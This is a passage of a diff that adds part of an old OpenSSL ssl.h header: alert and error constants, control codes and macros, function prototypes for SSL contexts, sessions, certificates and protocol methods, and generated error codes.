SSL_AD_INSUFFICIENT_SECURITY TLS1_AD_INSUFFICIENT_SECURITY/* fatal */ +#define SSL_AD_INTERNAL_ERROR TLS1_AD_INTERNAL_ERROR /* fatal */ +#define SSL_AD_USER_CANCELLED TLS1_AD_USER_CANCELLED +#define SSL_AD_NO_RENEGOTIATION TLS1_AD_NO_RENEGOTIATION +#define SSL_AD_UNSUPPORTED_EXTENSION TLS1_AD_UNSUPPORTED_EXTENSION +#define SSL_AD_CERTIFICATE_UNOBTAINABLE TLS1_AD_CERTIFICATE_UNOBTAINABLE +#define SSL_AD_UNRECOGNIZED_NAME TLS1_AD_UNRECOGNIZED_NAME +#define SSL_AD_BAD_CERTIFICATE_STATUS_RESPONSE TLS1_AD_BAD_CERTIFICATE_STATUS_RESPONSE + +#define SSL_ERROR_NONE 0 +#define SSL_ERROR_SSL 1 +#define SSL_ERROR_WANT_READ 2 +#define SSL_ERROR_WANT_WRITE 3 +#define SSL_ERROR_WANT_X509_LOOKUP 4 +#define SSL_ERROR_SYSCALL 5 /* look at error stack/return value/errno */ +#define SSL_ERROR_ZERO_RETURN 6 +#define SSL_ERROR_WANT_CONNECT 7 +#define SSL_ERROR_WANT_ACCEPT 8 + +#define SSL_CTRL_NEED_TMP_RSA 1 +#define SSL_CTRL_SET_TMP_RSA 2 +#define SSL_CTRL_SET_TMP_DH 3 +#define SSL_CTRL_SET_TMP_ECDH 4 +#define SSL_CTRL_SET_TMP_RSA_CB 5 +#define SSL_CTRL_SET_TMP_DH_CB 6 +#define SSL_CTRL_SET_TMP_ECDH_CB 7 + +#define SSL_CTRL_GET_SESSION_REUSED 8 +#define SSL_CTRL_GET_CLIENT_CERT_REQUEST 9 +#define SSL_CTRL_GET_NUM_RENEGOTIATIONS 10 +#define SSL_CTRL_CLEAR_NUM_RENEGOTIATIONS 11 +#define SSL_CTRL_GET_TOTAL_RENEGOTIATIONS 12 +#define SSL_CTRL_GET_FLAGS 13 +#define SSL_CTRL_EXTRA_CHAIN_CERT 14 + +#define SSL_CTRL_SET_MSG_CALLBACK 15 +#define SSL_CTRL_SET_MSG_CALLBACK_ARG 16 + +/* only applies to datagram connections */ +#define SSL_CTRL_SET_MTU 17 +/* Stats */ +#define SSL_CTRL_SESS_NUMBER 20 +#define SSL_CTRL_SESS_CONNECT 21 +#define SSL_CTRL_SESS_CONNECT_GOOD 22 +#define SSL_CTRL_SESS_CONNECT_RENEGOTIATE 23 +#define SSL_CTRL_SESS_ACCEPT 24 +#define SSL_CTRL_SESS_ACCEPT_GOOD 25 +#define SSL_CTRL_SESS_ACCEPT_RENEGOTIATE 26 +#define SSL_CTRL_SESS_HIT 27 +#define SSL_CTRL_SESS_CB_HIT 28 +#define SSL_CTRL_SESS_MISSES 29 +#define SSL_CTRL_SESS_TIMEOUTS 30 +#define SSL_CTRL_SESS_CACHE_FULL 31 +#define SSL_CTRL_OPTIONS 32 +#define SSL_CTRL_MODE 33 + +#define SSL_CTRL_GET_READ_AHEAD 40 +#define SSL_CTRL_SET_READ_AHEAD 41 +#define SSL_CTRL_SET_SESS_CACHE_SIZE 42 +#define SSL_CTRL_GET_SESS_CACHE_SIZE 43 +#define SSL_CTRL_SET_SESS_CACHE_MODE 44 +#define SSL_CTRL_GET_SESS_CACHE_MODE 45 + +#define SSL_CTRL_GET_MAX_CERT_LIST 50 +#define SSL_CTRL_SET_MAX_CERT_LIST 51 + +/* see tls1.h for macros based on these */ +#ifndef OPENSSL_NO_TLSEXT +#define SSL_CTRL_SET_TLSEXT_SERVERNAME_CB 53 +#define SSL_CTRL_SET_TLSEXT_SERVERNAME_ARG 54 +#define SSL_CTRL_SET_TLSEXT_HOSTNAME 55 +#define SSL_CTRL_SET_TLSEXT_DEBUG_CB 56 +#define SSL_CTRL_SET_TLSEXT_DEBUG_ARG 57 +#define SSL_CTRL_GET_TLSEXT_TICKET_KEYS 58 +#define SSL_CTRL_SET_TLSEXT_TICKET_KEYS 59 + +#define SSL_CTRL_SET_TLSEXT_STATUS_REQ_CB 63 +#define SSL_CTRL_SET_TLSEXT_STATUS_REQ_CB_ARG 64 +#define SSL_CTRL_SET_TLSEXT_STATUS_REQ_TYPE 65 +#define SSL_CTRL_GET_TLSEXT_STATUS_REQ_EXTS 66 +#define SSL_CTRL_SET_TLSEXT_STATUS_REQ_EXTS 67 +#define SSL_CTRL_GET_TLSEXT_STATUS_REQ_IDS 68 +#define SSL_CTRL_SET_TLSEXT_STATUS_REQ_IDS 69 +#define SSL_CTRL_GET_TLSEXT_STATUS_REQ_OCSP_RESP 70 +#define SSL_CTRL_SET_TLSEXT_STATUS_REQ_OCSP_RESP 71 + +#define SSL_CTRL_SET_TLSEXT_TICKET_KEY_CB 72 +#endif + +#define SSL_session_reused(ssl) \ + SSL_ctrl((ssl),SSL_CTRL_GET_SESSION_REUSED,0,NULL) +#define SSL_num_renegotiations(ssl) \ + SSL_ctrl((ssl),SSL_CTRL_GET_NUM_RENEGOTIATIONS,0,NULL) +#define SSL_clear_num_renegotiations(ssl) \ + SSL_ctrl((ssl),SSL_CTRL_CLEAR_NUM_RENEGOTIATIONS,0,NULL) +#define SSL_total_renegotiations(ssl) \ + SSL_ctrl((ssl),SSL_CTRL_GET_TOTAL_RENEGOTIATIONS,0,NULL) + +#define SSL_CTX_need_tmp_RSA(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_NEED_TMP_RSA,0,NULL) +#define SSL_CTX_set_tmp_rsa(ctx,rsa) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_TMP_RSA,0,(char *)rsa) +#define SSL_CTX_set_tmp_dh(ctx,dh) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_TMP_DH,0,(char *)dh) +#define SSL_CTX_set_tmp_ecdh(ctx,ecdh) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_TMP_ECDH,0,(char *)ecdh) + +#define SSL_need_tmp_RSA(ssl) \ + SSL_ctrl(ssl,SSL_CTRL_NEED_TMP_RSA,0,NULL) +#define SSL_set_tmp_rsa(ssl,rsa) \ + SSL_ctrl(ssl,SSL_CTRL_SET_TMP_RSA,0,(char *)rsa) +#define SSL_set_tmp_dh(ssl,dh) \ + SSL_ctrl(ssl,SSL_CTRL_SET_TMP_DH,0,(char *)dh) +#define SSL_set_tmp_ecdh(ssl,ecdh) \ + SSL_ctrl(ssl,SSL_CTRL_SET_TMP_ECDH,0,(char *)ecdh) + +#define SSL_CTX_add_extra_chain_cert(ctx,x509) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_EXTRA_CHAIN_CERT,0,(char *)x509) + +#ifndef OPENSSL_NO_BIO +BIO_METHOD *BIO_f_ssl(void); +BIO *BIO_new_ssl(SSL_CTX *ctx,int client); +BIO *BIO_new_ssl_connect(SSL_CTX *ctx); +BIO *BIO_new_buffer_ssl_connect(SSL_CTX *ctx); +int BIO_ssl_copy_session_id(BIO *to,BIO *from); +void BIO_ssl_shutdown(BIO *ssl_bio); + +#endif + +int SSL_CTX_set_cipher_list(SSL_CTX *,const char *str); +SSL_CTX *SSL_CTX_new(SSL_METHOD *meth); +void SSL_CTX_free(SSL_CTX *); +long SSL_CTX_set_timeout(SSL_CTX *ctx,long t); +long SSL_CTX_get_timeout(const SSL_CTX *ctx); +X509_STORE *SSL_CTX_get_cert_store(const SSL_CTX *); +void SSL_CTX_set_cert_store(SSL_CTX *,X509_STORE *); +int SSL_want(const SSL *s); +int SSL_clear(SSL *s); + +void SSL_CTX_flush_sessions(SSL_CTX *ctx,long tm); + +SSL_CIPHER *SSL_get_current_cipher(const SSL *s); +int SSL_CIPHER_get_bits(const SSL_CIPHER *c,int *alg_bits); +char * SSL_CIPHER_get_version(const SSL_CIPHER *c); +const char * SSL_CIPHER_get_name(const SSL_CIPHER *c); + +int SSL_get_fd(const SSL *s); +int SSL_get_rfd(const SSL *s); +int SSL_get_wfd(const SSL *s); +const char * SSL_get_cipher_list(const SSL *s,int n); +char * SSL_get_shared_ciphers(const SSL *s, char *buf, int len); +int SSL_get_read_ahead(const SSL * s); +int SSL_pending(const SSL *s); +#ifndef OPENSSL_NO_SOCK +int SSL_set_fd(SSL *s, int fd); +int SSL_set_rfd(SSL *s, int fd); +int SSL_set_wfd(SSL *s, int fd); +#endif +#ifndef OPENSSL_NO_BIO +void SSL_set_bio(SSL *s, BIO *rbio,BIO *wbio); +BIO * SSL_get_rbio(const SSL *s); +BIO * SSL_get_wbio(const SSL *s); +#endif +int SSL_set_cipher_list(SSL *s, const char *str); +void SSL_set_read_ahead(SSL *s, int yes); +int SSL_get_verify_mode(const SSL *s); +int SSL_get_verify_depth(const SSL *s); +int (*SSL_get_verify_callback(const SSL *s))(int,X509_STORE_CTX *); +void SSL_set_verify(SSL *s, int mode, + int (*callback)(int ok,X509_STORE_CTX *ctx)); +void SSL_set_verify_depth(SSL *s, int depth); +#ifndef OPENSSL_NO_RSA +int SSL_use_RSAPrivateKey(SSL *ssl, RSA *rsa); +#endif +int SSL_use_RSAPrivateKey_ASN1(SSL *ssl, unsigned char *d, long len); +int SSL_use_PrivateKey(SSL *ssl, EVP_PKEY *pkey); +int SSL_use_PrivateKey_ASN1(int pk,SSL *ssl, const unsigned char *d, long len); +int SSL_use_certificate(SSL *ssl, X509 *x); +int SSL_use_certificate_ASN1(SSL *ssl, const unsigned char *d, int len); + +#ifndef OPENSSL_NO_STDIO +int SSL_use_RSAPrivateKey_file(SSL *ssl, const char *file, int type); +int SSL_use_PrivateKey_file(SSL *ssl, const char *file, int type); +int SSL_use_certificate_file(SSL *ssl, const char *file, int type); +int SSL_CTX_use_RSAPrivateKey_file(SSL_CTX *ctx, const char *file, int type); +int SSL_CTX_use_PrivateKey_file(SSL_CTX *ctx, const char *file, int type); +int SSL_CTX_use_certificate_file(SSL_CTX *ctx, const char *file, int type); +int SSL_CTX_use_certificate_chain_file(SSL_CTX *ctx, const char *file); /* PEM type */ +STACK_OF(X509_NAME) *SSL_load_client_CA_file(const char *file); +int SSL_add_file_cert_subjects_to_stack(STACK_OF(X509_NAME) *stackCAs, + const char *file); +#ifndef OPENSSL_SYS_VMS +#ifndef OPENSSL_SYS_MACINTOSH_CLASSIC /* XXXXX: Better scheme needed! [was: #ifndef MAC_OS_pre_X] */ +int SSL_add_dir_cert_subjects_to_stack(STACK_OF(X509_NAME) *stackCAs, + const char *dir); +#endif +#endif + +#endif + +void SSL_load_error_strings(void ); +const char *SSL_state_string(const SSL *s); +const char *SSL_rstate_string(const SSL *s); +const char *SSL_state_string_long(const SSL *s); +const char *SSL_rstate_string_long(const SSL *s); +long SSL_SESSION_get_time(const SSL_SESSION *s); +long SSL_SESSION_set_time(SSL_SESSION *s, long t); +long SSL_SESSION_get_timeout(const SSL_SESSION *s); +long SSL_SESSION_set_timeout(SSL_SESSION *s, long t); +void SSL_copy_session_id(SSL *to,const SSL *from); + +SSL_SESSION *SSL_SESSION_new(void); +unsigned long SSL_SESSION_hash(const SSL_SESSION *a); +int SSL_SESSION_cmp(const SSL_SESSION *a,const SSL_SESSION *b); +const unsigned char *SSL_SESSION_get_id(const SSL_SESSION *s, unsigned int *len); +#ifndef OPENSSL_NO_FP_API +int SSL_SESSION_print_fp(FILE *fp,const SSL_SESSION *ses); +#endif +#ifndef OPENSSL_NO_BIO +int SSL_SESSION_print(BIO *fp,const SSL_SESSION *ses); +#endif +void SSL_SESSION_free(SSL_SESSION *ses); +int i2d_SSL_SESSION(SSL_SESSION *in,unsigned char **pp); +int SSL_set_session(SSL *to, SSL_SESSION *session); +int SSL_CTX_add_session(SSL_CTX *s, SSL_SESSION *c); +int SSL_CTX_remove_session(SSL_CTX *,SSL_SESSION *c); +int SSL_CTX_set_generate_session_id(SSL_CTX *, GEN_SESSION_CB); +int SSL_set_generate_session_id(SSL *, GEN_SESSION_CB); +int SSL_has_matching_session_id(const SSL *ssl, const unsigned char *id, + unsigned int id_len); +SSL_SESSION *d2i_SSL_SESSION(SSL_SESSION **a,const unsigned char **pp, + long length); + +#ifdef HEADER_X509_H +X509 * SSL_get_peer_certificate(const SSL *s); +#endif + +STACK_OF(X509) *SSL_get_peer_cert_chain(const SSL *s); + +int SSL_CTX_get_verify_mode(const SSL_CTX *ctx); +int SSL_CTX_get_verify_depth(const SSL_CTX *ctx); +int (*SSL_CTX_get_verify_callback(const SSL_CTX *ctx))(int,X509_STORE_CTX *); +void SSL_CTX_set_verify(SSL_CTX *ctx,int mode, + int (*callback)(int, X509_STORE_CTX *)); +void SSL_CTX_set_verify_depth(SSL_CTX *ctx,int depth); +void SSL_CTX_set_cert_verify_callback(SSL_CTX *ctx, int (*cb)(X509_STORE_CTX *,void *), void *arg); +#ifndef OPENSSL_NO_RSA +int SSL_CTX_use_RSAPrivateKey(SSL_CTX *ctx, RSA *rsa); +#endif +int SSL_CTX_use_RSAPrivateKey_ASN1(SSL_CTX *ctx, const unsigned char *d, long len); +int SSL_CTX_use_PrivateKey(SSL_CTX *ctx, EVP_PKEY *pkey); +int SSL_CTX_use_PrivateKey_ASN1(int pk,SSL_CTX *ctx, + const unsigned char *d, long len); +int SSL_CTX_use_certificate(SSL_CTX *ctx, X509 *x); +int SSL_CTX_use_certificate_ASN1(SSL_CTX *ctx, int len, const unsigned char *d); + +void SSL_CTX_set_default_passwd_cb(SSL_CTX *ctx, pem_password_cb *cb); +void SSL_CTX_set_default_passwd_cb_userdata(SSL_CTX *ctx, void *u); + +int SSL_CTX_check_private_key(const SSL_CTX *ctx); +int SSL_check_private_key(const SSL *ctx); + +int SSL_CTX_set_session_id_context(SSL_CTX *ctx,const unsigned char *sid_ctx, + unsigned int sid_ctx_len); + +SSL * SSL_new(SSL_CTX *ctx); +int SSL_set_session_id_context(SSL *ssl,const unsigned char *sid_ctx, + unsigned int sid_ctx_len); + +int SSL_CTX_set_purpose(SSL_CTX *s, int purpose); +int SSL_set_purpose(SSL *s, int purpose); +int SSL_CTX_set_trust(SSL_CTX *s, int trust); +int SSL_set_trust(SSL *s, int trust); + +void SSL_free(SSL *ssl); +int SSL_accept(SSL *ssl); +int SSL_connect(SSL *ssl); +int SSL_read(SSL *ssl,void *buf,int num); +int SSL_peek(SSL *ssl,void *buf,int num); +int SSL_write(SSL *ssl,const void *buf,int num); +long SSL_ctrl(SSL *ssl,int cmd, long larg, void *parg); +long SSL_callback_ctrl(SSL *, int, void (*)(void)); +long SSL_CTX_ctrl(SSL_CTX *ctx,int cmd, long larg, void *parg); +long SSL_CTX_callback_ctrl(SSL_CTX *, int, void (*)(void)); + +int SSL_get_error(const SSL *s,int ret_code); +const char *SSL_get_version(const SSL *s); + +/* This sets the 'default' SSL version that SSL_new() will create */ +int SSL_CTX_set_ssl_version(SSL_CTX *ctx,SSL_METHOD *meth); + +SSL_METHOD *SSLv2_method(void); /* SSLv2 */ +SSL_METHOD *SSLv2_server_method(void); /* SSLv2 */ +SSL_METHOD *SSLv2_client_method(void); /* SSLv2 */ + +SSL_METHOD *SSLv3_method(void); /* SSLv3 */ +SSL_METHOD *SSLv3_server_method(void); /* SSLv3 */ +SSL_METHOD *SSLv3_client_method(void); /* SSLv3 */ + +SSL_METHOD *SSLv23_method(void); /* SSLv3 but can rollback to v2 */ +SSL_METHOD *SSLv23_server_method(void); /* SSLv3 but can rollback to v2 */ +SSL_METHOD *SSLv23_client_method(void); /* SSLv3 but can rollback to v2 */ + +SSL_METHOD *TLSv1_method(void); /* TLSv1.0 */ +SSL_METHOD *TLSv1_server_method(void); /* TLSv1.0 */ +SSL_METHOD *TLSv1_client_method(void); /* TLSv1.0 */ + +SSL_METHOD *DTLSv1_method(void); /* DTLSv1.0 */ +SSL_METHOD *DTLSv1_server_method(void); /* DTLSv1.0 */ +SSL_METHOD *DTLSv1_client_method(void); /* DTLSv1.0 */ + +STACK_OF(SSL_CIPHER) *SSL_get_ciphers(const SSL *s); + +int SSL_do_handshake(SSL *s); +int SSL_renegotiate(SSL *s); +int SSL_renegotiate_pending(SSL *s); +int SSL_shutdown(SSL *s); + +SSL_METHOD *SSL_get_ssl_method(SSL *s); +int SSL_set_ssl_method(SSL *s,SSL_METHOD *method); +const char *SSL_alert_type_string_long(int value); +const char *SSL_alert_type_string(int value); +const char *SSL_alert_desc_string_long(int value); +const char *SSL_alert_desc_string(int value); + +void SSL_set_client_CA_list(SSL *s, STACK_OF(X509_NAME) *name_list); +void SSL_CTX_set_client_CA_list(SSL_CTX *ctx, STACK_OF(X509_NAME) *name_list); +STACK_OF(X509_NAME) *SSL_get_client_CA_list(const SSL *s); +STACK_OF(X509_NAME) *SSL_CTX_get_client_CA_list(const SSL_CTX *s); +int SSL_add_client_CA(SSL *ssl,X509 *x); +int SSL_CTX_add_client_CA(SSL_CTX *ctx,X509 *x); + +void SSL_set_connect_state(SSL *s); +void SSL_set_accept_state(SSL *s); + +long SSL_get_default_timeout(const SSL *s); + +int SSL_library_init(void ); + +char *SSL_CIPHER_description(SSL_CIPHER *,char *buf,int size); +STACK_OF(X509_NAME) *SSL_dup_CA_list(STACK_OF(X509_NAME) *sk); + +SSL *SSL_dup(SSL *ssl); + +X509 *SSL_get_certificate(const SSL *ssl); +/* EVP_PKEY */ struct evp_pkey_st *SSL_get_privatekey(SSL *ssl); + +void SSL_CTX_set_quiet_shutdown(SSL_CTX *ctx,int mode); +int SSL_CTX_get_quiet_shutdown(const SSL_CTX *ctx); +void SSL_set_quiet_shutdown(SSL *ssl,int mode); +int SSL_get_quiet_shutdown(const SSL *ssl); +void SSL_set_shutdown(SSL *ssl,int mode); +int SSL_get_shutdown(const SSL *ssl); +int SSL_version(const SSL *ssl); +int SSL_CTX_set_default_verify_paths(SSL_CTX *ctx); +int SSL_CTX_load_verify_locations(SSL_CTX *ctx, const char *CAfile, + const char *CApath); +#define SSL_get0_session SSL_get_session /* just peek at pointer */ +SSL_SESSION *SSL_get_session(const SSL *ssl); +SSL_SESSION *SSL_get1_session(SSL *ssl); /* obtain a reference count */ +SSL_CTX *SSL_get_SSL_CTX(const SSL *ssl); +SSL_CTX *SSL_set_SSL_CTX(SSL *ssl, SSL_CTX* ctx); +void SSL_set_info_callback(SSL *ssl, + void (*cb)(const SSL *ssl,int type,int val)); +void (*SSL_get_info_callback(const SSL *ssl))(const SSL *ssl,int type,int val); +int SSL_state(const SSL *ssl); + +void SSL_set_verify_result(SSL *ssl,long v); +long SSL_get_verify_result(const SSL *ssl); + +int SSL_set_ex_data(SSL *ssl,int idx,void *data); +void *SSL_get_ex_data(const SSL *ssl,int idx); +int SSL_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); + +int SSL_SESSION_set_ex_data(SSL_SESSION *ss,int idx,void *data); +void *SSL_SESSION_get_ex_data(const SSL_SESSION *ss,int idx); +int SSL_SESSION_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); + +int SSL_CTX_set_ex_data(SSL_CTX *ssl,int idx,void *data); +void *SSL_CTX_get_ex_data(const SSL_CTX *ssl,int idx); +int SSL_CTX_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); + +int SSL_get_ex_data_X509_STORE_CTX_idx(void ); + +#define SSL_CTX_sess_set_cache_size(ctx,t) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_SESS_CACHE_SIZE,t,NULL) +#define SSL_CTX_sess_get_cache_size(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_GET_SESS_CACHE_SIZE,0,NULL) +#define SSL_CTX_set_session_cache_mode(ctx,m) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_SESS_CACHE_MODE,m,NULL) +#define SSL_CTX_get_session_cache_mode(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_GET_SESS_CACHE_MODE,0,NULL) + +#define SSL_CTX_get_default_read_ahead(ctx) SSL_CTX_get_read_ahead(ctx) +#define SSL_CTX_set_default_read_ahead(ctx,m) SSL_CTX_set_read_ahead(ctx,m) +#define SSL_CTX_get_read_ahead(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_GET_READ_AHEAD,0,NULL) +#define SSL_CTX_set_read_ahead(ctx,m) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_READ_AHEAD,m,NULL) +#define SSL_CTX_get_max_cert_list(ctx) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_GET_MAX_CERT_LIST,0,NULL) +#define SSL_CTX_set_max_cert_list(ctx,m) \ + SSL_CTX_ctrl(ctx,SSL_CTRL_SET_MAX_CERT_LIST,m,NULL) +#define SSL_get_max_cert_list(ssl) \ + SSL_ctrl(ssl,SSL_CTRL_GET_MAX_CERT_LIST,0,NULL) +#define SSL_set_max_cert_list(ssl,m) \ + SSL_ctrl(ssl,SSL_CTRL_SET_MAX_CERT_LIST,m,NULL) + + /* NB: the keylength is only applicable when is_export is true */ +#ifndef OPENSSL_NO_RSA +void SSL_CTX_set_tmp_rsa_callback(SSL_CTX *ctx, + RSA *(*cb)(SSL *ssl,int is_export, + int keylength)); + +void SSL_set_tmp_rsa_callback(SSL *ssl, + RSA *(*cb)(SSL *ssl,int is_export, + int keylength)); +#endif +#ifndef OPENSSL_NO_DH +void SSL_CTX_set_tmp_dh_callback(SSL_CTX *ctx, + DH *(*dh)(SSL *ssl,int is_export, + int keylength)); +void SSL_set_tmp_dh_callback(SSL *ssl, + DH *(*dh)(SSL *ssl,int is_export, + int keylength)); +#endif +#ifndef OPENSSL_NO_ECDH +void SSL_CTX_set_tmp_ecdh_callback(SSL_CTX *ctx, + EC_KEY *(*ecdh)(SSL *ssl,int is_export, + int keylength)); +void SSL_set_tmp_ecdh_callback(SSL *ssl, + EC_KEY *(*ecdh)(SSL *ssl,int is_export, + int keylength)); +#endif + +#ifndef OPENSSL_NO_COMP +const COMP_METHOD *SSL_get_current_compression(SSL *s); +const COMP_METHOD *SSL_get_current_expansion(SSL *s); +const char *SSL_COMP_get_name(const COMP_METHOD *comp); +STACK_OF(SSL_COMP) *SSL_COMP_get_compression_methods(void); +int SSL_COMP_add_compression_method(int id,COMP_METHOD *cm); +#else +const void *SSL_get_current_compression(SSL *s); +const void *SSL_get_current_expansion(SSL *s); +const char *SSL_COMP_get_name(const void *comp); +void *SSL_COMP_get_compression_methods(void); +int SSL_COMP_add_compression_method(int id,void *cm); +#endif + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_SSL_strings(void); + +/* Error codes for the SSL functions. */ + +/* Function codes. */ +#define SSL_F_CLIENT_CERTIFICATE 100 +#define SSL_F_CLIENT_FINISHED 167 +#define SSL_F_CLIENT_HELLO 101 +#define SSL_F_CLIENT_MASTER_KEY 102 +#define SSL_F_D2I_SSL_SESSION 103 +#define SSL_F_DO_DTLS1_WRITE 245 +#define SSL_F_DO_SSL3_WRITE 104 +#define SSL_F_DTLS1_ACCEPT 246 +#define SSL_F_DTLS1_BUFFER_RECORD 247 +#define SSL_F_DTLS1_CLIENT_HELLO 248 +#define SSL_F_DTLS1_CONNECT 249 +#define SSL_F_DTLS1_ENC 250 +#define SSL_F_DTLS1_GET_HELLO_VERIFY 251 +#define SSL_F_DTLS1_GET_MESSAGE 252 +#define SSL_F_DTLS1_GET_MESSAGE_FRAGMENT 253 +#define SSL_F_DTLS1_GET_RECORD 254 +#define SSL_F_DTLS1_OUTPUT_CERT_CHAIN 255 +#define SSL_F_DTLS1_PREPROCESS_FRAGMENT 277 +#define SSL_F_DTLS1_PROCESS_OUT_OF_SEQ_MESSAGE 256 +#define SSL_F_DTLS1_PROCESS_RECORD 257 +#define SSL_F_DTLS1_READ_BYTES 258 +#define SSL_F_DTLS1_READ_FAILED 259 +#define SSL_F_DTLS1_SEND_CERTIFICATE_REQUEST 260 +#define SSL_F_DTLS1_SEND_CLIENT_CERTIFICATE 261 +#define SSL_F_DTLS1_SEND_CLIENT_KEY_EXCHANGE 262 +#define SSL_F_DTLS1_SEND_CLIENT_VERIFY 263 +#define SSL_F_DTLS1_SEND_HELLO_VERIFY_REQUEST 264 +#define SSL_F_DTLS1_SEND_SERVER_CERTIFICATE 265 +#define SSL_F_DTLS1_SEND_SERVER_HELLO 266 +#define SSL_F_DTLS1_SEND_SERVER_KEY_EXCHANGE 267 +#define SSL_F_DTLS1_WRITE_APP_DATA_BYTES 268 +#define SSL_F_GET_CLIENT_FINISHED 105 +#define SSL_F_GET_CLIENT_HELLO 106 +#define SSL_F_GET_CLIENT_MASTER_KEY 107 +#define SSL_F_GET_SERVER_FINISHED 108 +#define SSL_F_GET_SERVER_HELLO 109 +#define SSL_F_GET_SERVER_VERIFY 110 +#define SSL_F_I2D_SSL_SESSION 111 +#define SSL_F_READ_N 112 +#define SSL_F_REQUEST_CERTIFICATE 113 +#define SSL_F_SERVER_FINISH 239 +#define SSL_F_SERVER_HELLO 114 +#define SSL_F_SERVER_VERIFY 240 +#define SSL_F_SSL23_ACCEPT 115 +#define SSL_F_SSL23_CLIENT_HELLO 116 +#define SSL_F_SSL23_CONNECT 117 +#define SSL_F_SSL23_GET_CLIENT_HELLO 118 +#define SSL_F_SSL23_GET_SERVER_HELLO 119 +#define SSL_F_SSL23_PEEK 237 +#define SSL_F_SSL23_READ 120 +#define SSL_F_SSL23_WRITE 121 +#define SSL_F_SSL2_ACCEPT 122 +#define SSL_F_SSL2_CONNECT 123 +#define SSL_F_SSL2_ENC_INIT 124 +#define SSL_F_SSL2_GENERATE_KEY_MATERIAL 241 +#define SSL_F_SSL2_PEEK 234 +#define SSL_F_SSL2_READ 125 +#define SSL_F_SSL2_READ_INTERNAL 236 +#define SSL_F_SSL2_SET_CERTIFICATE 126 +#define SSL_F_SSL2_WRITE 127 +#define SSL_F_SSL3_ACCEPT 128 +#define SSL_F_SSL3_CALLBACK_CTRL 233 +#define SSL_F_SSL3_CHANGE_CIPHER_STATE 129 +#define SSL_F_SSL3_CHECK_CERT_AND_ALGORITHM 130 +#define SSL_F_SSL3_CLIENT_HELLO 131 +#define SSL_F_SSL3_CONNECT 132 +#define SSL_F_SSL3_CTRL 213 +#define SSL_F_SSL3_CTX_CTRL 133 +#define SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC 279 +#define SSL_F_SSL3_ENC 134 +#define SSL_F_SSL3_GENERATE_KEY_BLOCK 238 +#define SSL_F_SSL3_GET_CERTIFICATE_REQUEST 135 +#define SSL_F_SSL3_GET_CERT_STATUS 288 +#define SSL_F_SSL3_GET_CERT_VERIFY 136 +#define SSL_F_SSL3_GET_CLIENT_CERTIFICATE 137 +#define SSL_F_SSL3_GET_CLIENT_HELLO 138 +#define SSL_F_SSL3_GET_CLIENT_KEY_EXCHANGE 139 +#define SSL_F_SSL3_GET_FINISHED 140 +#define SSL_F_SSL3_GET_KEY_EXCHANGE 141 +#define SSL_F_SSL3_GET_MESSAGE 142 +#define SSL_F_SSL3_GET_NEW_SESSION_TICKET 283 +#define SSL_F_SSL3_GET_RECORD 143 +#define SSL_F_SSL3_GET_SERVER_CERTIFICATE 144 +#define SSL_F_SSL3_GET_SERVER_DONE 145 +#define SSL_F_SSL3_GET_SERVER_HELLO 146 +#define SSL_F_SSL3_NEW_SESSION_TICKET 284 +#define SSL_F_SSL3_OUTPUT_CERT_CHAIN 147 +#define SSL_F_SSL3_PEEK 235 +#define SSL_F_SSL3_READ_BYTES 148 +#define SSL_F_SSL3_READ_N 149 +#define SSL_F_SSL3_SEND_CERTIFICATE_REQUEST 150 +#define SSL_F_SSL3_SEND_CLIENT_CERTIFICATE 151 +#define SSL_F_SSL3_SEND_CLIENT_KEY_EXCHANGE 152 +#define SSL_F_SSL3_SEND_CLIENT_VERIFY 153 +#define SSL_F_SSL3_SEND_SERVER_CERTIFICATE 154 +#define SSL_F_SSL3_SEND_SERVER_HELLO 242 +#define SSL_F_SSL3_SEND_SERVER_KEY_EXCHANGE 155 +#define SSL_F_SSL3_SETUP_BUFFERS 156 +#define SSL_F_SSL3_SETUP_KEY_BLOCK 157 +#define SSL_F_SSL3_WRITE_BYTES 158 +#define SSL_F_SSL3_WRITE_PENDING 159 +#define SSL_F_SSL_ADD_CLIENTHELLO_TLSEXT 272 +#define SSL_F_SSL_ADD_DIR_CERT_SUBJECTS_TO_STACK 215 +#define SSL_F_SSL_ADD_FILE_CERT_SUBJECTS_TO_STACK 216 +#define SSL_F_SSL_ADD_SERVERHELLO_TLSEXT 273 +#define SSL_F_SSL_BAD_METHOD 160 +#define SSL_F_SSL_BYTES_TO_CIPHER_LIST 161 +#define SSL_F_SSL_CERT_DUP 221 +#define SSL_F_SSL_CERT_INST 222 +#define SSL_F_SSL_CERT_INSTANTIATE 214 +#define SSL_F_SSL_CERT_NEW 162 +#define SSL_F_SSL_CHECK_PRIVATE_KEY 163 +#define SSL_F_SSL_CHECK_SERVERHELLO_TLSEXT 274 +#define SSL_F_SSL_CIPHER_PROCESS_RULESTR 230 +#define SSL_F_SSL_CIPHER_STRENGTH_SORT 231 +#define SSL_F_SSL_CLEAR 164 +#define SSL_F_SSL_COMP_ADD_COMPRESSION_METHOD 165 +#define SSL_F_SSL_CREATE_CIPHER_LIST 166 +#define SSL_F_SSL_CTRL 232 +#define SSL_F_SSL_CTX_CHECK_PRIVATE_KEY 168 +#define SSL_F_SSL_CTX_NEW 169 +#define SSL_F_SSL_CTX_SET_CIPHER_LIST 269 +#define SSL_F_SSL_CTX_SET_CLIENT_CERT_ENGINE 278 +#define SSL_F_SSL_CTX_SET_PURPOSE 226 +#define 